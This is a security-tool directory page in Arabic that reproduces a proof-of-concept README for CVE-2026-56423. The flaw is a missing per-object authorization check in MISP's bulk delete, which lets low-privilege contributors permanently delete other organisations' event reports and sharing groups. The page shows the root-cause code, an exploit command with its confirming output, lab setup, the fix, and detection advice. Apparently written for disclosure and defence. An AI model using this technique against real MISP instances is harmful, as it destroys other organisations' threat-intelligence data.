Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-56423-MISP-deleteSelection-BrokenAccessControl — إثبات المفهوم لـ CVE-2026-56423: تحكم وصول معطل في MISP deleteSelection (CWE-862، يقوم المساهم بحذف صارم لتقارير الأحداث/مجموعات المشاركة للمنظمات الأخرى، CVSS 8.8) | Kitploit
أدوات/GitHubGitHub/biitts/cve-2026-56423-misp-deleteselection-brokenaccesscontrol
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقاستخبارات التهديداتسوء التكوين
GitHubbiitts/cve-2026-56423-misp-deleteselection-brokenaccesscontrol

CVE-2026-56423-MISP-deleteSelection-BrokenAccessControl

إثبات المفهوم لـ CVE-2026-56423: تحكم وصول معطل في MISP deleteSelection (CWE-862، يقوم المساهم بحذف صارم لتقارير الأحداث/مجموعات المشاركة للمنظمات الأخرى، CVSS 8.8)

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
منذ شهر واحدلم تتم المراجعة بعد

CVE-2026-56423 — MISP deleteSelection تحكم الوصول المكسور

إثبات مفهوم لثغرة نقص الترخيص في عمليات الحذف الجماعي لـ MISP لـ تقارير الأحداث و مجموعات المشاركة. معالجات deleteSelection تأذن لكل عنصر محدد باستخدام دالة رد اتصال تتجاهل العنصر وتعيد صلاحية الدور العالمية للمتصل (perm_add / perm_sharing_group) بدلاً من التحقق من ملكية كل كائن. يمكن للمساهم ذي الامتيازات المنخفضة (دور "المستخدم" الافتراضي) بالتالي إرسال معرفات/معرفات UUID لتقارير تنتمي إلى أي منظمة وحذفها نهائياً على مستوى المثيل، على الرغم من أن إجراء delete الفردي المحمي بشكل صحيح يرفض نفس الطلب.

CVECVE-2026-56423
المنتجنواة MISP (منصة مشاركة معلومات البرامج الضارة)
المتأثرMISP CE/EE ≤ 2.5.41
تم الإصلاح2.5.42
الفئةCWE-862 — ترخيص مفقود (تحكم وصول مكسور على مستوى الكائن)
CVSS 3.18.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
المصادقةمصادقة، امتياز منخفض (أي دور مع perm_add، مثلاً "مستخدم")
تاريخ النشر2026-06-22
الحالةمؤكد — المساهم يحذف تقرير منظمة أخرى على 2.5.40؛ مرفوض على 2.5.42

السبب الجذري

app/Controller/EventReportsController.php (وسم v2.5.40):

root@kitploit:~
public function deleteSelection($id = null)
{
    return $this->CRUD->deleteSelection($id, [
        'modelName' => 'EventReport',
        ...
        'checkModifyCallback' => function($itemId) {
            return $this->userRole['perm_add'];   // يتجاهل $itemId → قيمة منطقية عالمية للدور
        },
    ]);
}

CRUDComponent::deleteSelection يستدعي checkModifyCallback لكل معرف محدد ويحذف الكائن عندما يعود بالقيمة true:

root@kitploit:~
$canModify = call_user_func($options['checkModifyCallback'], $itemId, $item);
if (!$canModify) { $fails[] = $cid; continue; }
if ($Model->delete($itemId)) { $successes[] = $cid; }

نظراً لأن دالة رد الاتصال تعيد $this->userRole['perm_add'] — قيمة منطقية عالمية تكون true لدور "المستخدم" الافتراضي — لا يتم التحقق من ملكية التقرير المستهدف أبداً. قارن ذلك بإجراء delete($id) للكائن الواحد، الذي يستدعي بشكل صحيح EventReport::fetchIfAuthorized($this->Auth->user(), $id, 'delete') ويرفض التقارير الأجنبية.

SharingGroupsController::deleteSelection به نفس العيب باستخدام perm_sharing_group.

الإصلاح في 2.5.42 (الالتزامات ada02fa, f99b3f1) يستبدل دالة رد الاتصال باستدعاء EventReport::fetchIfAuthorized($user, $itemId, 'delete') لكل عنصر.

راجع ANALYSIS.md للشرح الكامل.

الشروط المسبقة (موثقة بأمانة)

  1. يمتلك المهاجم أي حساب دور به perm_add — دور المستخدم المدمج، الممنوح للمساهمين العاديين في مثيلات متعددة المنظمات.
  2. MISP.enable_themes = true. إجراء deleteSelection محمي في ACL بـ AND(theming_enabled, perm_add)، حيث theming_enabled يتوافق مع إعداد MISP.enable_themes. هذا الإعداد معطل افتراضياً ولكنه علامة ميزة عادية لواجهة المستخدم يتم تمكينها في العديد من المثيلات (وهو يشغل واجهة v2 للقائمة/الفهرس). عند تعطيله، يعيد الإجراء HTTP 403 قبل تشغيل دالة رد الاتصال المعيبة.

الاستغلال

root@kitploit:~
python3 exploit.py https://127.0.0.1:443 \
    --attacker-key <مفتاح_المساهم> \
    --admin-key   <مفتاح_المشرف_المستخدم_فقط_لتأكيد_الهدف> \
    --report-id   <معرف_تقرير_مملوك_لمنظمة_أخرى>
root@kitploit:~
[1] contributor legit delete/2   -> HTTP 404  (DENIED (متوقع))
[2] contributor deleteSelection [2] -> HTTP 200  {"saved":true,"success":true,"name":"EventReport deleted."...}
[+] CONFIRMED: contributor hard-deleted another org's Event Report via deleteSelection

إعادة الإنتاج

root@kitploit:~
cd lab
./setup.sh          # MISP core v2.5.40 + منظمة المهاجم + مساهم + تقرير ضحية
source /tmp/misp_poc.env
python3 ../exploit.py https://127.0.0.1:443 \
    --attacker-key "$CONTRIB_KEY" --admin-key "$ADMIN_KEY" --report-id "$VICTIM_REPORT_ID"

# البناء المُصلَح يرفض نفس الطلب:
CORE_RUNNING_TAG=v2.5.42 ./setup.sh
./teardown.sh

حدود الثغرة/الإصلاح (تجريبي)

الطلب (مساهم منخفض الامتياز، تقرير أجنبي)v2.5.40v2.5.42
delete/{id} المحمي بشكل صحيحمرفوض 404مرفوض 404
deleteSelection لنفس التقرير

نفس الطلب يتغير من النجاح إلى الرفض عبر الإصلاح، والإجراء الفردي المحمي بشكل صحيح مرفوض في كليهما — مما يثبت أن العيب هو نقص الترخيص على مستوى الكائن في deleteSelection، وليس حساباً مهيأً بشكل خاطئ. النص الكامل في EVIDENCE.txt.

التأثير

يمكن لأي مستخدم منخفض الامتيازات على مثيل MISP مشترك حذف تقارير الأحداث — الروايات التحليلية المرتبطة بأحداث استخبارات التهديدات — ومجموعات المشاركة التابعة لمنظمات أخرى بشكل لا رجعة فيه على مستوى المثيل. هذا يمثل اختراقاً للنزاهة والتوفر عبر المستأجرين لمنصة استخبارات تهديدات تعتمد عليها فرق CERT و ISAC و SOC.

الإصلاح

  • ترقية MISP إلى 2.5.42 أو أحدث.
  • الإصلاح يفرض EventReport::fetchIfAuthorized($user, $itemId, 'delete') لكل عنصر محدد؛ نفس النمط مطبق على مجموعات المشاركة.

الكشف

دقق سجلات MISP بحثاً عن طلبات EventReports/deleteSelection (و SharingGroups/deleteSelection) حيث تختلف منظمة المستخدم الفاعل عن المنظمة المالكة للكائن المحذوف.

الإسناد

البحث وإثبات المفهوم بواسطة Caio Fabrício (@BiiTts).

الترخيص

MIT — راجع LICENSE.

تنزيل الأداة
200 — تم الحذف نهائياً
403 — "تعذر الحذف"؛ التقرير سليم